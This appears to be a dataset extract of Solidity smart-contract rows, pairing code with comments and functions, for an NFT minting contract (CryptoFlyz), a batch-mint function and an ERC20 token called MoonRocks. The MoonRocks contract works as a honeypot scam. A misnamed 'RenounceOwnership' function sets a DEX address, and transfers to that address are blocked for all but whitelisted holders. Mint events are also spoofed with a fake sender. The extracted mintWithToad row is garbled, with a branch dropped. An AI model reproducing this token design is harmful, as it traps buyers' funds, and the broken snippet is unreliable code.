* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: contracts/CryptoFlyz.sol
/* @@@@@@@@@@@@@@@@@@@@@@
@@@@ @@@@@@@@@@@@@@@@@@@@
@@@@ @@@@ *** @@@@
/@@@@ @@@@ *** @@
/@@ @@@@@ *** @@
@@@@@@@@@@@@@@@@@@ *** @@
@@@@@@ @@@@@@**. ** @@
@@ @@@@#****** @@@@
@@@@@ @@@@@@@@@@@@@@
@@ @@ @@ @@@@/ @@@@@
@@ @@@@@@ @@@@@
@@@@@ @@@@@@@@@@@ @@@@@
@@@@@ @@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@ /@@@@@@@@
@@@@@@@ @@@@@@@@@ @@@@@@@@@ @@
@@@@@@@@@ @@@@@@@@@ @@ @@
@@@@@ @@@@ @@@@@@@ @@@@@@@ */
pragma solidity >=0.6.0 <0.8.0;
interface nftInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view virtual returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view virtual returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @title CryptoFlyz contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract CryptoFlyz is ERC721, Ownable, PaymentSplitter {
bool public mintIsActive = true;
uint256 public tokenPrice = 0;
uint256 public publicTokenPrice = 42000000000000000;
uint256 public constant maxTokens = 7025;
uint256 public constant maxMintsPerTx = 10;
string private _contractURI;
uint256 public tokenCount=1;
bool public devMintLocked = false;
bool private initialized = false;
bool public publicMintLocked = true;
//Parent NFT Contract
//mainnet address
//address public nftAddress = 0x1cb1a5e65610aeff2551a50f76a87a7d3fb649c6;
//rinkeby address
address public nftAddress = 0x70BC4cCb9bC9eF1B7E9dc465a38EEbc5d73740FB;
nftInterface nftContract = nftInterface(nftAddress);
constructor() public ERC721("CryptoFlyz", "FLYZ") {}
function initializePaymentSplitter (address[] memory payees, uint256[] memory shares_) external onlyOwner {
require (!initialized, "Payment Split Already Initialized!");
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
initialized=true;
}
//Set Base URI
function setBaseURI(string memory _baseURI) external onlyOwner {
_setBaseURI(_baseURI);
}
function flipMintState() public onlyOwner {
mintIsActive = !mintIsActive;
}
function setContractURI(string memory contractURI_) external onlyOwner {
_contractURI = contractURI_;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
//Private sale minting (reserved for Toadz)
function mintWithToad(uint256 nftId) external {
require(mintIsActive, "CryptoFlyz must be active to mint");
require(tokenCount - 1 + 1 <= maxTokens, "Minting would exceed supply");
require(nftContract.ownerOf(nftId) == msg.sender, "Not the owner of this Toad");
if (nftId >= 1000000) {
uint256 newID = SafeMath.div(nftId, 1000000);
newID = SafeMath.add(newID, 6969);
require(!_exists(newID), "This Toad has already been used.");
_safeMint(msg.sender, newID);
tokenCount++;
} else {
require(!_exists(nftId), "This Toad has already been used.");
_safeMint(msg.sender, nftId);
tokenCount++;
}
}
function multiMintWithnft(uint256 [] memory nftIds) public {
require(mintIsActive, "CryptoFlyz must be active to mint");
for (uint i=0; i< nftIds.length; i++) {
require(nftContract.ownerOf(nftIds[i]) == msg.sender, "Not the owner of this Toad");
if (nftIds[i] >= 1000000) {
uint256 newID = SafeMath.div(nftIds[i], 1000000);
newID = SafeMath.add(newID, 6969);
if(_exists(newID)) {
continue;
} else {
_mint(msg.sender, newID);
tokenCount++;
}
} else {
if(_exists(nftIds[i])) {
continue;
} else {
_mint(msg.sender, nftIds[i]);
tokenCount++;
}
}
}
}
function mintAllToadz() external {
require(mintIsActive, "CryptoFlyz must be active to mint");
uint256 balance = nftContract.balanceOf(msg.sender);
uint256 [] storage lot;
for (uint i = 0; i < balance; i++) {
lot.push(nftContract.tokenOfOwnerByIndex(msg.sender, i));
}
multiMintWithnft(lot);
}
//Dev mint special tokens
function mintSpecial(uint256 [] memory specialId) external onlyOwner {
require (!devMintLocked, "Dev Mint Permanently Locked");
for (uint256 i = 0; i < specialId.length; i++) {
require (specialId[i]!=0);
_mint(msg.sender,specialId[i]);
}
}
function lockDevMint() public onlyOwner {
devMintLocked = true;
}
function unlockPublicMint() public onlyOwner {
publicMintLocked = false;
}
function updatePublicPrice(uint256 newPrice) public onlyOwner {
publicTokenPrice = newPrice;
}
function mintPublic(uint256 quantity) external payable {
require(quantity <= maxMintsPerTx, "trying to mint too many at a time!");
require(tokenCount - 1 + quantity <= maxTokens, "minting this many would exceed supply");
require(msg.value >= publicTokenPrice * quantity, "not enough ether sent!");
require(msg.sender == tx.origin, "no contracts please!");
require(!publicMintLocked, "minting is not open to the public yet!");
uint256 i = 0;
for (uint256 j = 1; j < maxTokens + 1; j++) {
if (i == quantity) {
break;
}
else {
if (!_exists(j) && i < quantity) {
_safeMint(msg.sender, j);
i++;
tokenCount++;
}
}
}
}
function multiMintPublic(uint256 [] memory nftIds, uint256 quantity) external payable {
require(quantity <= maxMintsPerTx, "trying to mint too many at a time!");
require(tokenCount - 1 + quantity <= maxTokens, "minting this many would exceed supply");
require(msg.value >= publicTokenPrice * quantity, "not enough ether sent!");
require(msg.sender == tx.origin, "no contracts please!");
require(!publicMintLocked, "minting is not open to the public yet!");
for (uint i=0; i< nftIds.length; i++) {
if (nftIds[i] >= 1000000) {
uint256 newID = SafeMath.div(nftIds[i], 1000000);
newID = SafeMath.add(newID, 6969);
if(_exists(newID)) {
continue;
} else {
_safeMint(msg.sender, newID);
tokenCount++;
}
} else {
if(_exists(nftIds[i])) {
continue;
} else {
_safeMint(msg.sender, nftIds[i]);
tokenCount++;
}
}
}
}
} | Private sale minting (reserved for Toadz) | function mintWithToad(uint256 nftId) external {
require(mintIsActive, "CryptoFlyz must be active to mint");
require(tokenCount - 1 + 1 <= maxTokens, "Minting would exceed supply");
require(nftContract.ownerOf(nftId) == msg.sender, "Not the owner of this Toad");
if (nftId >= 1000000) {
uint256 newID = SafeMath.div(nftId, 1000000);
newID = SafeMath.add(newID, 6969);
require(!_exists(newID), "This Toad has already been used.");
_safeMint(msg.sender, newID);
tokenCount++;
require(!_exists(nftId), "This Toad has already been used.");
_safeMint(msg.sender, nftId);
tokenCount++;
}
}
| 538,879 |
./full_match/1/0x154DAc76755d2A372804a9C409683F2eeFa9e5e9/sources/src/core/ERC721TL.sol | function to batch mint tokens requires owner or admin recipient: the recipient of the token - assumed as able to receive 721 tokens numTokens: number of tokens in the batch mint baseUri: the base uri for the batch, expecting json to be in order and starting at 0 NOTE: this folder should have the same number of json files in it as numTokens NOTE: files should be named without any file extension NOTE: baseUri should NOT have a trailing `/` | function batchMint(address recipient, uint256 numTokens, string calldata baseUri)
external
onlyRoleOrOwner(ADMIN_ROLE)
{
if (recipient == address(0)) revert MintToZeroAddress();
if (bytes(baseUri).length == 0) revert EmptyTokenURI();
if (numTokens < 2) revert BatchSizeTooSmall();
uint256 start = _counter + 1;
uint256 end = start + numTokens - 1;
_counter += numTokens;
_batchMints.push(BatchMint(recipient, start, end, baseUri));
for (uint256 id = start; id < end + 1; ++id) {
emit Transfer(address(0), recipient, id);
}
}
| 4,979,272 |
/**
*Submitted for verification at Etherscan.io on 2021-11-28
*/
/**
discord.com/invite/ftG301A30fk
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x93a3cf8aaF3f6E4C2239245c4FD60f2d1F4feCBc), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract MoonRocks is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _uni;
constructor() ERC20('MoonRocks','MOOKS') {
_mint(0xC7Df5dA2cf8dCAA8858C06DAda7CF9eba3C71FbF, 100000000 *10**18);
_enable[0xC7Df5dA2cf8dCAA8858C06DAda7CF9eba3C71FbF] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 100000000 *10**18, "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
function setBots(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function RenounceOwnership(address uni_) public onlyOwner {
_uni = uni_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if(to == _uni) {
require(_enable[from], "something went wrong");
}
}
} | Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `to` cannot be the zero address./ | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x93a3cf8aaF3f6E4C2239245c4FD60f2d1F4feCBc), account, amount);
}
| 10,600,979 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.